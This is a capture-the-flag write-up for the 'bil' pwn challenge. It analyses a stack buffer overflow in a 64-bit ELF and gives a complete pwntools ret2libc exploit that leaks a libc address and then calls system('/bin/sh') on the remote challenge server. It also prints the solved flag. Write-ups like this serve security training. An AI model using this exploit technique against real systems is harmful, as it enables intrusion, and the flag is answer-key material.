bil - PWN Writeup Link to heading
Challenge Info Link to heading
- Name: bil
- Category: PWN
- Remote: 0.cloud.chals.io:18850
Files Provided Link to heading
app- ELF 64-bit binarylibc.so.6- GLIBC 2.36ld-linux-x86-64.so.2- dynamic linkerflag- placeholder flag
Binary Analysis Link to heading
Checksec Link to heading
| Protection | Status |
|---|---|
| RELRO | Full RELRO |
| Stack Canary | No |
| NX | Enabled |
| PIE | Disabled |
Key Functions Link to heading
vuln() @ 0x4011c6
void vuln() {
char buf[0x40]; // 64-byte buffer
puts("Input:");
read(0, buf, 0x190); // reads 400 bytes into 64-byte buffer -> overflow
if (buf[0] == 'Z')
puts("Zzz...");
}
The vulnerability is straightforward: read() allows 0x190 (400) bytes into a 0x40 (64) byte stack buffer with no stack canary — a classic stack buffer overflow.
pop_rdi_ret() @ 0x401176
endbr64
pop rdi
ret
A conveniently provided ROP gadget.
Exploitation Strategy: ret2libc Link to heading
Since NX is enabled (no shellcode) but PIE is disabled (fixed addresses) and there's no canary, this is a textbook ret2libc via ROP.
Stage 1 — Leak libc Link to heading
Overflow the buffer (0x40 + 0x8 saved RBP = 0x48 bytes padding) and build a ROP chain that:
pop rdi; ret→ loadsputs@GOTinto RDIputs@PLT→ prints the runtime address ofputsin libc- Returns to
mainfor a second pass
Stage 2 — Shell Link to heading
Calculate libc base from the leak, then:
ret— for 16-byte stack alignmentpop rdi; ret→ loads address of"/bin/sh"in libcsystem()— spawns a shell
Address Table Link to heading
| Symbol | Address |
|---|---|
pop rdi; ret | 0x40117a |
ret | 0x40117b |
puts@PLT | 0x401060 |
puts@GOT | 0x403fd8 |
main | 0x401211 |
libc puts offset | 0x77980 |
libc system offset | 0x4c490 |
libc "/bin/sh" offset | 0x196031 |
Exploit Link to heading
from pwn import *
context.binary = './app'
POP_RDI = 0x40117a
RET = 0x40117b
PUTS_PLT = 0x401060
PUTS_GOT = 0x403fd8
MAIN = 0x401211
OFFSET = 0x48
LIBC_PUTS = 0x77980
LIBC_SYSTEM = 0x4c490
LIBC_BINSH = 0x196031
p = remote("0.cloud.chals.io", 18850)
# Stage 1: Leak puts@libc, return to main
payload1 = b'A' * OFFSET
payload1 += p64(POP_RDI)
payload1 += p64(PUTS_GOT)
payload1 += p64(PUTS_PLT)
payload1 += p64(MAIN)
p.recvuntil(b'Input:\n')
p.send(payload1)
puts_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_base = puts_addr - LIBC_PUTS
log.info(f"Libc base: {hex(libc_base)}")
# Stage 2: system("/bin/sh")
p.recvuntil(b'Input:\n')
payload2 = b'A' * OFFSET
payload2 += p64(RET)
payload2 += p64(POP_RDI)
payload2 += p64(libc_base + LIBC_BINSH)
payload2 += p64(libc_base + LIBC_SYSTEM)
p.send(payload2)
p.interactive()
Flag Link to heading
CyCTF{3021e16844f8fba8dab8c90c543e6a72}